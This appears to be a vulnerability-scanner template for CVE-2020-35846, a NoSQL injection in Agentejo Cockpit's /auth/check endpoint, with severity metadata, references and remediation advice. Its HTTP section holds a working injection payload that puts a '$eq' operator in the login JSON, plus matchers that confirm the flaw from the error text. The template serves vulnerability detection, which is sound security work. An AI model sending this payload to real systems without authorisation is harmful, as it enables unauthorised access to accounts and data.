Agentejo Cockpit < 0.11.2 - NoSQL Injection

id: CVE-2020-35846

info:
  name: Agentejo Cockpit < 0.11.2 - NoSQL Injection
  author: dwisiswant0
  severity: critical
  description: Agentejo Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php check function. The $eq operator matches documents where the value of a field equals the specified value.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Upgrade Agentejo Cockpit to version 0.11.2 or later to mitigate the vulnerability.
  reference:
    - https://swarm.ptsecurity.com/rce-cockpit-cms/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35846
    - https://getcockpit.com/
    - https://github.com/agentejo/cockpit/commit/2a385af8d80ed60d40d386ed813c1039db00c466
    - https://github.com/agentejo/cockpit/commit/33e7199575631ba1f74cba6b16b10c820bec59af
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-35846
    cwe-id: CWE-89
    epss-score: 0.78767
    epss-percentile: 0.98182
    cpe: cpe:2.3:a:agentejo:cockpit:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: agentejo
    product: cockpit
  tags: cve,cve2020,nosqli,sqli,cockpit,injection,agentejo

http:
  - method: POST
    path:
      - "{{BaseURL}}/auth/check"

    body: |
      {
        "auth": {
          "user": {
            "$eq": "admin"
          },
          "password": [
            0
          ]
        }
      }

    headers:
      Content-Type: application/json

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "password_verify() expects parameter"

      - type: status
        status:
          - 200
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